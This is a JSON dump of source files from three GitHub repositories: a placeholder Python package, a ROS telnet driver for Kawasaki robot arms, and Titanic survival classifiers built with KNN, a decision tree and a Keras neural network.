[ { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 24, "blob_id": "4d3156a0d120765827dd47ee0b3ad8ee93bff669", "content_id": "06bf7ee364bb4f30ded9e63d3bca53c556ec9d40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 100, "license_type": "permissive", "max_line_length": 48, "num_lines": 4, "path": "/tests/test_yadummy.py", "repo_name": "Madh93/yadummy", "src_encoding": "UTF-8", "text": "from yadummy import yadummy\n\ndef test_say_hello():\n assert yadummy.say_hello() == 'Hello World!'\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5064102411270142, "avg_line_length": 16.33333396911621, "blob_id": "a14db34b374b9291f3cb068d2fb6f734c152f283", "content_id": "9cb9090eb2dfb03f5824ca4a4d8b3783164ca775", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 156, "license_type": "permissive", "max_line_length": 84, "num_lines": 9, "path": "/run_tests.sh", "repo_name": "Madh93/yadummy", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ncase $1 in\n --unit)\n PYTHONPATH=$PYTHONPATH:./ pytest --cov=yadummy --disable-warnings ${CI_ARGS}\n ;;\n *)\n ;;\n esac\n" }, { "alpha_fraction": 0.5911681056022644, "alphanum_fraction": 0.6068376302719116, "avg_line_length": 21.645160675048828, "blob_id": "e6205fc89034a892b5de36295172085d800b8a6a", "content_id": "79fd9caa8a23f1429f201f7f7605859a408c6cf5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 702, "license_type": "permissive", "max_line_length": 48, "num_lines": 31, "path": "/setup.py", "repo_name": "Madh93/yadummy", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nREQUIREMENTS = [\n 'requests'\n]\n\nTEST_REQUIREMENTS = [\n 'pytest',\n 'pytest-cov'\n]\n\nsetup(\n name='yadummy',\n version='0.0.1',\n description=\"Yet Another Dummy Project\",\n author=\"Madh93\",\n author_email='[email protected]',\n url='https://github.com/Madh93/yadummy',\n packages=['yadummy'],\n install_requires=REQUIREMENTS,\n extras_require={'test': TEST_REQUIREMENTS},\n scripts=['bin/yadummy'],\n keywords=['dummy'],\n classifiers=[\n 'Intended Audience :: Developers',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n test_suite='pytest',\n)\n" }, { "alpha_fraction": 0.6272727251052856, "alphanum_fraction": 0.6272727251052856, "avg_line_length": 17.33333396911621, "blob_id": "ef0da400c989e78de44fab3eee1bbb9893fbcc96", "content_id": "561754034dbe5167a123191c58ec6fbd9fdb4d0d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 110, "license_type": "permissive", "max_line_length": 30, "num_lines": 6, "path": "/bin/yadummy", "repo_name": "Madh93/yadummy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom yadummy import yadummy\n\nif __name__ == '__main__':\n print(yadummy.say_hello())\n" }, { "alpha_fraction": 0.7768924236297607, "alphanum_fraction": 0.788844645023346, "avg_line_length": 30.375, "blob_id": "3d3c026a86c09e9ce6d21dbe954e666b31dc9975", "content_id": "cd896f47f25557241bc08301a259429b916248c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 251, "license_type": "permissive", "max_line_length": 65, "num_lines": 8, "path": "/sonar-project.properties", "repo_name": "Madh93/yadummy", "src_encoding": "UTF-8", "text": "sonar.projectKey=yadummy\nsonar.projectName=yadummy\nsonar.projectVersion=1.0\nsonar.user=devops\nsonar.sources=.\nsonar.sourceEncoding=UTF-8\nsonar.exclusions=\"reports/**/*\",\"coverage/*\",\"tests/*\",\"setup.py\"\nsonar.python.coverage.reportPath=./coverage.xml\n" } ]
5
akjay/kawasaki
https://github.com/akjay/kawasaki
bb5cb9811a24c6467faf3c1ed76d793b929563f9
51f642571721fd2d2c0e29b34e3fcd70b9b46e41
5dcf291638e49dbf22e3e300119ddeca1b89de90
refs/heads/master
2021-01-05T20:36:40.046864
2019-08-19T21:08:46
2019-08-19T21:08:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6434324979782104, "alphanum_fraction": 0.6485286951065063, "avg_line_length": 37.01874923706055, "blob_id": "b6cca189285f049ecaec748264c76a10da405082", "content_id": "f4ba63987c440efca17884ef9294a9fee9165112", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6083, "license_type": "permissive", "max_line_length": 87, "num_lines": 160, "path": "/kawasaki_driver/src/kawasaki_driver/kawasaki_commands.py", "repo_name": "akjay/kawasaki", "src_encoding": "UTF-8", "text": "import socket\nimport time\nimport sys\n\nimport rospy\n\nimport parsers\nfrom constants import const\n\n\ndef establish_socket_connection(socket_connection, address_port,\n connection_name, socket_number):\n \"\"\" Opens the socket connection on the specified address and port.\n \"\"\"\n try:\n socket_connection = socket.create_connection(\n address_port, timeout=const.SOCKET_TIMEOUT)\n rospy.loginfo(connection_name + \" socket established.\")\n except socket.timeout:\n rospy.logerr(connection_name +\n \" socket connection could not be established.\")\n sys.exit()\n time.sleep(const.TIMEOUT_MEDIUM)\n message = socket_connection.recvfrom(const.RECEIVE_MSG_SIZE)\n if (message == const.CONNECTION_STRING_TUPLE):\n if (socket_connection.send(const.LOGIN_USER) is\n not len(const.LOGIN_USER)):\n rospy.logerr(\n \"Proper command was not sent to the robot. Could not login.\")\n sys.exit()\n rospy.loginfo(\"Logging in as 'as'\")\n else:\n rospy.logerr(\"Got wrong login request information, exiting!\")\n rospy.logerr(message)\n socket_connection.close()\n sys.exit()\n time.sleep(const.TIMEOUT_LARGE)\n message = socket_connection.recvfrom(const.RECEIVE_MSG_SIZE)\n if (message == parsers.login_string_tuple_creator(socket_number)):\n rospy.loginfo(\"Logged in successfully, for \" + connection_name)\n else:\n rospy.logerr(\"Did not log in. Rececived the following message:\")\n rospy.logerr(message)\n socket_connection.close()\n sys.exit()\n return socket_connection\n\n\ndef connect_to_robot(address=\"192.168.2.2\", port=23):\n \"\"\" Open two socket connections and login in as \"as\".\n The first socket is for sending commands and the second is for receiving.\n \"\"\"\n connection_socket_send = None\n connection_socket_receive = None\n connection_socket_send = establish_socket_connection(\n connection_socket_send, (address, port), \"send\", 1)\n time.sleep(const.TIMEOUT_LARGE)\n connection_socket_receive = establish_socket_connection(\n connection_socket_receive, (address, port), \"receive\", 2)\n return connection_socket_send, connection_socket_receive\n\n\ndef get_state(connection_socket):\n \"\"\" Get the current joint state and pose of the robot.\n \"\"\"\n if (connection_socket.send(const.GET_STATE) is not len(const.GET_STATE)):\n rospy.logerr(\"Proper command was not sent to the robot.\")\n return None, None\n time.sleep(const.TIMEOUT_MEDIUM)\n message = connection_socket.recvfrom(const.RECEIVE_MSG_SIZE)\n if (message[0][0:66] == const.STATE_STRING_PARTIAL\n and len(message[0]) > const.MIN_STATE_MSG_SIZE):\n joint_states_unparsed = message[0]\n joint_state_message, pose_state_message = parsers.state_message_parser(\n joint_states_unparsed)\n return joint_state_message, pose_state_message\n else:\n rospy.logerr(\"Got wrong return message after executing 'wh':\")\n rospy.logerr(message)\n return None, None\n\n\ndef set_state(pose_msg, connection_socket):\n \"\"\" Set the new target pose for the robot.\n \"\"\"\n command_string = parsers.create_lmove_message(pose_msg)\n if (connection_socket.send(command_string) is not len(command_string)):\n rospy.logerr(\"Proper command was not sent to the robot.\")\n time.sleep(const.TIMEOUT_MEDIUM)\n message = connection_socket.recvfrom(const.RECEIVE_MSG_SIZE)\n feedback_command, feedback_error = parsers.move_feedback_msg_parser(\n message)\n if ((feedback_command + b'\\n') == command_string):\n if (feedback_error == const.NO_ERROR_FEEDBACK):\n return True\n elif (feedback_error == const.MOTOR_OFF_ERROR):\n rospy.logerr(feedback_error)\n return False\n elif (feedback_error == const.TEACH_LOCK_ON_ERROR):\n rospy.logerr(feedback_error)\n return False\n elif (feedback_error == const.ERROR_MODE_ERROR):\n rospy.logerr(feedback_error)\n return False\n elif (feedback_error == const.ALREADY_RUNNING_ERROR):\n rospy.logerr(feedback_error)\n return False\n elif (feedback_error == const.CANNOT_REACH_ERROR):\n rospy.logerr(feedback_error)\n return False\n elif (feedback_error == const.TEACH_MODE_ERROR):\n rospy.logerr(feedback_error)\n return False\n else:\n # TODO(ntonci): Handle any other known errors.\n rospy.logerr(message)\n return False\n else:\n rospy.logerr('Unknown error: ')\n rospy.logerr(message)\n clear_buffer(connection_socket)\n return False\n\n\ndef receive_after_motion_complete(connection_socket):\n time.sleep(const.TIMEOUT_LARGE)\n message = connection_socket.recvfrom(const.RECEIVE_MSG_SIZE)\n if (message[0] == const.MOTION_COMPLETE_MESSAGE):\n return True\n else:\n rospy.logerr('Received unknown error message:')\n rospy.loginfo(message)\n return False\n\n\ndef clear_buffer(connection_socket):\n rospy.loginfo('Clearing buffer')\n time.sleep(const.TIMEOUT_MEDIUM)\n message = connection_socket.recvfrom(const.RECEIVE_MSG_SIZE)\n return message\n\n\ndef compare_two_pose_msgs(current_pose, target_pose):\n \"\"\" Checks if the current robot pose and its target pose are the same.\n \"\"\"\n current_translation, current_euler = parsers.convert_pose_msg_to_translation_euler(\n current_pose)\n target_translation, target_euler = parsers.convert_pose_msg_to_translation_euler(\n target_pose)\n diff_t = 0.0\n diff_r = 0.0\n for i, j in zip(current_translation, target_translation):\n diff_t += pow(i - j, 2.0)\n for i, j in zip(current_euler, target_euler):\n diff_r += pow(i - j, 2.0)\n if ((pow(diff_t, 0.5) < const.TRANSLATION_DIFFERENCE_THRESHOLD)\n and (pow(diff_r, 0.5) < const.ROTATION_DIFFERENCE_THRESHOLD)):\n return True\n else:\n return False\n" }, { "alpha_fraction": 0.607168972492218, "alphanum_fraction": 0.609119713306427, "avg_line_length": 34.0512809753418, "blob_id": "6106069e06479c229649533b37dcba3692dae5d2", "content_id": "9660ea3584af65efabd8ca65c130a948788744f6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4101, "license_type": "permissive", "max_line_length": 78, "num_lines": 117, "path": "/kawasaki_driver/src/kawasaki_driver/driver_simple.py", "repo_name": "akjay/kawasaki", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport threading\nimport time\nimport copy\nimport rospy\n\nfrom sensor_msgs.msg import JointState\nfrom geometry_msgs.msg import PoseStamped\nfrom std_msgs.msg import Bool\n\nfrom constants import const\nimport kawasaki_commands as kc\n\npose_state_message = None\njoint_state_message = None\nconnection_socket_send = None\nconnection_socket_receive = None\n\n\ndef set_pose_callback(pose_msg, args):\n rospy.loginfo('Received new target pose.')\n global pose_state_message, joint_state_message\n connection_socket = args[0]\n set_state_lock = args[1]\n get_state_lock = args[2]\n complete_pub = args[3]\n with get_state_lock:\n current_pose = copy.deepcopy(pose_state_message)\n if current_pose is None:\n rospy.logerr('Could not get the current pose! Exiting callback.')\n return\n target_pose = pose_msg\n\n counter = 0.0\n with set_state_lock:\n if (kc.set_state(pose_msg, connection_socket)):\n if const.wait_until_executed:\n while not kc.compare_two_pose_msgs(current_pose, target_pose):\n with get_state_lock:\n current_pose = copy.deepcopy(pose_state_message)\n time.sleep(const.TIMEOUT_MEDIUM)\n if counter > const.counter_threshold:\n rospy.logerr('Could not reach the target pose in ' +\n str(const.counter_threshold * const.\n TIMEOUT_MEDIUM) + ' sec. Aborting!')\n kc.clear_buffer(connection_socket)\n return\n counter += 1.0\n if (kc.receive_after_motion_complete(connection_socket)):\n complete_pub.publish(True)\n rospy.loginfo('Pose reached!')\n else:\n rospy.logerr(\n 'Received unknown message upon motion completion!')\n else:\n rospy.loginfo(\n ('New state has been published. However, since '\n 'you are not waiting for completion, you need to'\n ' clean the buffer before sending the new pose.'))\n else:\n rospy.logerr('Could not move the robot to the new state!')\n\n\ndef shutdown_hook():\n global connection_socket_send, connection_socket_receive\n connection_socket_send.close()\n time.sleep(const.TIMEOUT_SMALL)\n connection_socket_receive.close()\n rospy.loginfo('Shutting down!')\n\n\ndef main():\n global pose_state_message, joint_state_message\n global connection_socket_send, connection_socket_receive\n set_state_lock = threading.Lock()\n get_state_lock = threading.Lock()\n\n log_level = rospy.get_param('log_level', rospy.INFO)\n\n rospy.init_node(\n 'kawasaki_driver', log_level=log_level, disable_signals=True)\n rospy.on_shutdown(shutdown_hook)\n\n rate = rospy.Rate(const.ROS_RATE)\n\n connection_socket_send, connection_socket_receive = kc.connect_to_robot(\n const.HOSTNAME, const.PORT)\n\n pose_pub = rospy.Publisher(\n const.pose_pub_topic, PoseStamped, queue_size=const.PUB_QUEUE_SIZE)\n joint_pub = rospy.Publisher(\n const.joint_pub_topic, JointState, queue_size=const.PUB_QUEUE_SIZE)\n complete_pub = rospy.Publisher(\n const.completed_move_pub_topic, Bool, queue_size=const.PUB_QUEUE_SIZE)\n\n pose_sub = rospy.Subscriber(\n const.pose_sub_topic,\n PoseStamped,\n set_pose_callback, (connection_socket_send, set_state_lock,\n get_state_lock, complete_pub),\n queue_size=const.SUB_QUEUE_SIZE)\n\n while not rospy.is_shutdown():\n with get_state_lock:\n joint_state_message, pose_state_message = kc.get_state(\n connection_socket_receive)\n if joint_state_message is None or pose_state_message is None:\n rate.sleep()\n continue\n pose_pub.publish(pose_state_message)\n joint_pub.publish(joint_state_message)\n rate.sleep()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5251686573028564, "alphanum_fraction": 0.5713544487953186, "avg_line_length": 37.540000915527344, "blob_id": "2ae8966a699b28ff157142cb252251dfbb70e241", "content_id": "161200a9318b10ad3c5cfbc9af28032c8bd67d79", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1927, "license_type": "permissive", "max_line_length": 78, "num_lines": 50, "path": "/kawasaki_driver/src/kawasaki_driver/constants.py", "repo_name": "akjay/kawasaki", "src_encoding": "UTF-8", "text": "class const:\n # MESSAGES:\n CONNECTION_STRING_TUPLE = (('\\xff\\xfd\\x18\\xff\\xfb\\x01\\xff\\xfa\\x18\\x01'\n '\\x01\\xff\\xf0\\xff\\xfb\\x03\\rConnecting to '\n 'Kawasaki E Controller\\r\\n\\r\\nlogin: '), None)\n STATE_STRING_PARTIAL = ('wh\\r\\n JT1 JT2 JT3'\n ' JT4 JT5 JT6 \\r\\n')\n MOTOR_OFF_ERROR = ('(P1000)Cannot execute program because motor power'\n ' is OFF.')\n TEACH_LOCK_ON_ERROR = ('(P1002)Cannot execute program because teach lock '\n 'is ON.')\n TEACH_MODE_ERROR = ('(P1001)Cannot execute program in TEACH mode.')\n ERROR_MODE_ERROR = ('(P1013)Cannot execute because in error now. '\n 'Reset error.')\n ALREADY_RUNNING_ERROR = ('(P1009)Program is already running.')\n CANNOT_REACH_ERROR = ('(P1013)Cannot execute because in error now. '\n 'Reset error.')\n NO_ERROR_FEEDBACK = ('>')\n MOTION_COMPLETE_MESSAGE = ('DO motion completed.\\r\\n')\n MIN_STATE_MSG_SIZE = 230 # Probably a bit higher, conservative estimate\n STATE_MSG_PARSED_SIZE = 5\n STATE_MSG_JOINT_VALUES_INDEX = 2\n STATE_MSG_POSE_VALUES_INDEX = 4\n\n LOGIN_USER = b'as\\n'\n GET_STATE = b'wh\\n'\n\n # SETUP:\n PORT = 23 # 10 Hz, RobotState\n HOSTNAME = \"192.168.2.2\"\n RECEIVE_MSG_SIZE = 1500\n SOCKET_TIMEOUT = 5\n ROS_RATE = 6 # ~6 Hz main loop\n PUB_QUEUE_SIZE = 10\n SUB_QUEUE_SIZE = 1\n TIMEOUT_SMALL = 0.1\n TIMEOUT_MEDIUM = 0.5\n TIMEOUT_LARGE = 1.0\n TRANSLATION_DIFFERENCE_THRESHOLD = 0.0001\n ROTATION_DIFFERENCE_THRESHOLD = 0.05\n\n # PARAMS:\n wait_until_executed = True\n counter_threshold = 40 # x0.5 sec wait\n\n # TOPICS:\n pose_pub_topic = 'pose'\n joint_pub_topic = 'joint_states'\n completed_move_pub_topic = 'completed_move'\n pose_sub_topic = 'command/pose'\n" }, { "alpha_fraction": 0.7368420958518982, "alphanum_fraction": 0.74964439868927, "avg_line_length": 18.52777862548828, "blob_id": "0cbc8e9094241183ce8946b3d089452cc74d1c37", "content_id": "612ca1b5161dd482201910ddf8b7d95fb3f27be4", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 703, "license_type": "permissive", "max_line_length": 79, "num_lines": 36, "path": "/README.md", "repo_name": "akjay/kawasaki", "src_encoding": "UTF-8", "text": "# kawasaki\nROS interface to Kawasaki robots.\n\n\n# Network\nSet a static IP in range 192.168.2.xxx\n\n\n# Package\n- Build the kawasaki_driver package\n- Import the driver in python\n\n\n# Notes\n- Make sure if you are using ipython to use ipython2 version (otherwise it will\n not import).\nDo not use brew version, install through: pip2 install ipython.\n\n\n# Running\n- To run a node start: rosrun kawasaki_driver driver_simple.py\n- The driver publishes the joint state and current robot pose and subscribes\n to a pose topic which defines the next target.\n\n\n# Robot\n- Turn off Teach mode\n- Turn on Motors\n- Switch to Repeat mode on the controller \n\n\n# Requirements\n- rospy\n- geometry_msgs\n- sensor_msgs\n- std_msgs\n" } ]
4
MansiAgarwal11/Titanic-Machine-Learning-from-Disaster
https://github.com/MansiAgarwal11/Titanic-Machine-Learning-from-Disaster
0671cfd61ede6a8bd0cfa211cafbed6385e9d9f9
0838e4d13491cb4ae8012cf0ccc71e301a4f90d6
ec104abbf2c3f35a9e3be33112f3184877761e30
refs/heads/master
2020-03-22T23:53:11.072051
2018-07-15T00:39:16
2018-07-15T00:39:16
140,832,862
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7374619841575623, "alphanum_fraction": 0.7503799200057983, "avg_line_length": 32.730770111083984, "blob_id": "661ea4ef4392d4672b2fcdb361c4ecb5dcac2b71", "content_id": "a71c73bfc5e0e6521d18b747f16c968d8e2a24e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2632, "license_type": "no_license", "max_line_length": 89, "num_lines": 78, "path": "/mainknn.py", "repo_name": "MansiAgarwal11/Titanic-Machine-Learning-from-Disaster", "src_encoding": "UTF-8", "text": "#importing the libraries\nimport numpy as np #CONTAINS MATHS TOOLS\nimport matplotlib.pyplot as plt #PLOTTING CHARTS\nimport pandas as pd #IMPORTING AND MANAGING DATA\nfrom sklearn.cluster import KMeans\n\n#importing the dataset\ndataset= pd.read_csv('train.csv', index_col=0)\n#getting rid of unnecessary attributes\ndataset = dataset.drop(['Name', 'Cabin', 'Ticket'], axis=1)\n\n#print(dataset.isnull().any()) \n#dropping rows with nan values in embarked attribute\ndataset = dataset.dropna(subset=['Embarked']) \n\n#partitioning data into dependent and independent\nX=dataset.iloc[:,1:].values \nY=dataset.iloc[:,0].values\n\n#Handling missing data for the true attributes\nfrom sklearn.preprocessing import Imputer \nimputer= Imputer(missing_values= 'NaN', strategy= 'mean' ,axis =1)\nimputer=imputer.fit(X[:,2]) #age\nX[:,2]=imputer.transform(X[:,2])\n\n#Encoding categorical data-string datatype\nfrom sklearn.preprocessing import LabelEncoder\nnumber= LabelEncoder()\nX[:,1]=number.fit_transform(X[:,1].astype('str'))\nX[:,6]=number.fit_transform(X[:,6].astype('str'))\n\n#Encoding categorical data-int datatype\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X= LabelEncoder() \nX[:,0] =labelencoder_X.fit_transform(X[:,0])\nonehotencoder=OneHotEncoder(categorical_features = [0,6]) \nX = onehotencoder.fit_transform(X).toarray()\n\n#Splitting the data into training set and test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, Y_train, Y_test= train_test_split(X,Y , test_size= 0.25, random_state=0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train[:,7:] = sc.fit_transform(X_train[:,7:])\nX_test[:,7:] = sc.fit_transform(X_test[:,7:])\n\n#finding best value of k using elbow method\nwcss = []\nfor i in range(1, 11):\n kmeans = KMeans(n_clusters = i, init = 'k-means++', random_state = 42)\n kmeans.fit(X)\n wcss.append(kmeans.inertia_)\nplt.plot(range(1, 11), wcss)\nplt.title('The Elbow Method')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show()\n\n# Fitting KNN to the Training set\nfrom sklearn.neighbors import KNeighborsClassifier\nclassifier=KNeighborsClassifier(n_neighbors=3,metric= 'minkowski', p=2 )\nclassifier.fit(X_train,Y_train)\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\nprint(classifier.score(X_train, Y_train))\nprint(classifier.score(X_test, Y_test))\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(Y_test, y_pred)\n\nfrom sklearn import model_selection\nimport pickle\nfilename = 'finalized_model_KNN.sav'\npickle.dump(classifier, open(filename, 'wb'))\n\n" }, { "alpha_fraction": 0.7541684508323669, "alphanum_fraction": 0.76485675573349, "avg_line_length": 34.43939208984375, "blob_id": "f8016fdece0f53be754f4b39b8f419381855921c", "content_id": "e9ce6fb4de0651f3a1c6f83c6bed0f3db5425248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2339, "license_type": "no_license", "max_line_length": 89, "num_lines": 66, "path": "/maindectree.py", "repo_name": "MansiAgarwal11/Titanic-Machine-Learning-from-Disaster", "src_encoding": "UTF-8", "text": "#importing the libraries\nimport numpy as np #CONTAINS MATHS TOOLS\nimport matplotlib.pyplot as plt #PLOTTING CHARTS\nimport pandas as pd #IMPORTING AND MANAGING DATA\nfrom sklearn.cluster import KMeans\n\n#importing the dataset\ndataset= pd.read_csv('train.csv', index_col=0)\n#getting rid of unnecessary attributes\ndataset = dataset.drop(['Name', 'Cabin', 'Ticket'], axis=1)\n\n#print(dataset.isnull().any()) \n#dropping rows with nan values in embarked attribute\ndataset = dataset.dropna(subset=['Embarked']) \n\n#partitioning data into dependent and independent\nX=dataset.iloc[:,1:].values \nY=dataset.iloc[:,0].values\n\n#Handling missing data for the true attributes\nfrom sklearn.preprocessing import Imputer \nimputer= Imputer(missing_values= 'NaN', strategy= 'mean' ,axis =1)\nimputer=imputer.fit(X[:,2]) #age\nX[:,2]=imputer.transform(X[:,2])\n\n#Encoding categorical data-string datatype\nfrom sklearn.preprocessing import LabelEncoder\nnumber= LabelEncoder()\nX[:,1]=number.fit_transform(X[:,1].astype('str'))\nX[:,6]=number.fit_transform(X[:,6].astype('str'))\n\n#Encoding categorical data-int datatype\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X= LabelEncoder() \nX[:,0] =labelencoder_X.fit_transform(X[:,0])\nonehotencoder=OneHotEncoder(categorical_features = [0,6]) \nX = onehotencoder.fit_transform(X).toarray()\n\n#Splitting the data into training set and test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, Y_train, Y_test= train_test_split(X,Y , test_size= 0.25, random_state=0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train[:,7:] = sc.fit_transform(X_train[:,7:])\nX_test[:,7:] = sc.fit_transform(X_test[:,7:])\n\n# Fitting decision tree classifier to the Training set\nfrom sklearn.tree import DecisionTreeClassifier\nclassifier=DecisionTreeClassifier(criterion='gini',splitter= 'best', random_state=0)\nclassifier.fit(X_train,Y_train)\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\nprint(classifier.score(X_train, Y_train))\nprint(classifier.score(X_test, Y_test))\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(Y_test, y_pred)\n\nfrom sklearn import model_selection\nimport pickle\nfilename = 'finalized_model_dectree.sav'\npickle.dump(classifier, open(filename, 'wb'))\n" }, { "alpha_fraction": 0.6993534564971924, "alphanum_fraction": 0.7149784564971924, "avg_line_length": 29.42622947692871, "blob_id": "ab62a71cbf14c4559d59d0afd7d941c868ad368d", "content_id": "4fe3a315d88ad1b6feec24ec8753cc2ccf53bbaa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1856, "license_type": "no_license", "max_line_length": 103, "num_lines": 61, "path": "/test.py", "repo_name": "MansiAgarwal11/Titanic-Machine-Learning-from-Disaster", "src_encoding": "UTF-8", "text": "#importing the libraries\nimport numpy as np #CONTAINS MATHS TOOLS\nimport matplotlib.pyplot as plt #PLOTTING CHARTS\nimport pandas as pd #IMPORTING AND MANAGING DATA\n\n#importing the dataset\ndataset= pd.read_csv('test.csv', index_col=0)\n#dropping useless attributes\ndataset = dataset.drop(['Name', 'Cabin', 'Ticket'], axis=1)\n\n#print(dataset.isnull().any()) \n\nX=dataset.iloc[:,:].values #INDEPENDENT VARIABLES\n \n#Handling missing data\nfrom sklearn.preprocessing import Imputer \nimputer= Imputer(missing_values= 'NaN', strategy= 'mean' ,axis =1)\nimputer=imputer.fit(X[:,2]) #age\nX[:,2]=imputer.transform(X[:,2])\nimputer=imputer.fit(X[:,5]) #fare\nX[:,5]=imputer.transform(X[:,5])\n\n#Encoding categorical data-string datatype\nfrom sklearn.preprocessing import LabelEncoder\nnumber= LabelEncoder()\nX[:,1]=number.fit_transform(X[:,1].astype('str')) #sex\nX[:,6]=number.fit_transform(X[:,6].astype('str')) #embarked\n\n#Encoding categorical data -int datatype\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X= LabelEncoder() \nX[:,0] =labelencoder_X.fit_transform(X[:,0])\nonehotencoder=OneHotEncoder(categorical_features = [0,6]) \nX = onehotencoder.fit_transform(X).toarray()\n\n#feature scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX[:,7:] = sc.fit_transform(X[:,7:])\n\nimport keras\nfrom keras.models import load_model\n# identical to the previous one\nmodel = load_model('finalised_model_ANN.h5')\n\n# Predicting the Test set results\ny_pred = model.predict(X)\nfor i in range(0,418):\n if y_pred[i]>0.5:\n y_pred[i]=1\n else:\n y_pred[i]=0\n \ny_pred = y_pred.astype(int)\n\n#creating csv file\nd= pd.read_csv('test.csv')\nd = d.drop(['Pclass','Name','Sex','Age','SibSp','Parch','Fare', 'Cabin', 'Ticket', 'Embarked'], axis=1)\nd['Survived'] = y_pred\ncsv_name='ANN'\nd.to_csv(csv_name, index=False)\n" }, { "alpha_fraction": 0.7389412522315979, "alphanum_fraction": 0.752356767654419, "avg_line_length": 33.474998474121094, "blob_id": "9b58cfd1ded596e8214a7bcf6c69de6a15256a50", "content_id": "84309bbc2bf79c992df09d1fa57b56223ce5683d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2758, "license_type": "no_license", "max_line_length": 107, "num_lines": 80, "path": "/mainann.py", "repo_name": "MansiAgarwal11/Titanic-Machine-Learning-from-Disaster", "src_encoding": "UTF-8", "text": "#importing the libraries\nimport numpy as np #CONTAINS MATHS TOOLS\nimport matplotlib.pyplot as plt #PLOTTING CHARTS\nimport pandas as pd #IMPORTING AND MANAGING DATA\nfrom sklearn.cluster import KMeans\n\n#importing the dataset\ndataset= pd.read_csv('train.csv', index_col=0)\n#getting rid of unnecessary attributes\ndataset = dataset.drop(['Name', 'Cabin', 'Ticket'], axis=1)\n\n#print(dataset.isnull().any()) \n#dropping rows with nan values in embarked attribute\ndataset = dataset.dropna(subset=['Embarked']) \n\n#partitioning data into dependent and independent\nX=dataset.iloc[:,1:].values \nY=dataset.iloc[:,0].values\n\n#Handling missing data for the true attributes\nfrom sklearn.preprocessing import Imputer \nimputer= Imputer(missing_values= 'NaN', strategy= 'mean' ,axis =1)\nimputer=imputer.fit(X[:,2]) #age\nX[:,2]=imputer.transform(X[:,2])\n\n#Encoding categorical data-string datatype\nfrom sklearn.preprocessing import LabelEncoder\nnumber= LabelEncoder()\nX[:,1]=number.fit_transform(X[:,1].astype('str'))\nX[:,6]=number.fit_transform(X[:,6].astype('str'))\n\n#Encoding categorical data-int datatype\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X= LabelEncoder() \nX[:,0] =labelencoder_X.fit_transform(X[:,0])\nonehotencoder=OneHotEncoder(categorical_features = [0,6]) \nX = onehotencoder.fit_transform(X).toarray()\n\n#Splitting the data into training set and test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, Y_train, Y_test= train_test_split(X,Y , test_size= 0.25, random_state=0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train[:,7:] = sc.fit_transform(X_train[:,7:])\nX_test[:,7:] = sc.fit_transform(X_test[:,7:])\n\n# Importing the Keras libraries and packages\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\n\n# Initialising the ANN\nclassifier = Sequential()\n\n# Adding the input layer and the first hidden layer\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu', input_dim = 11, use_bias=True))\n\n# Adding the second hidden layer\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu', use_bias=True))\n\n#Adding a Dropout layer to prevent overfitting\n#classifier.add(Dropout(0.5))\n\n# Adding the output layer\nclassifier.add(Dense(output_dim = 1, init = 'uniform', activation = 'sigmoid'))\n\n# Compiling the ANN\nclassifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\n\n# Fitting the ANN to the Training set\nclassifier.fit(X_train, Y_train, batch_size = 10, nb_epoch = 110)\n\n#Saving the model\nfrom keras.models import load_model\n\nclassifier.save('finalised_model_ANN.h5') \ndel classifier # deletes the existing model\n" } ]
4
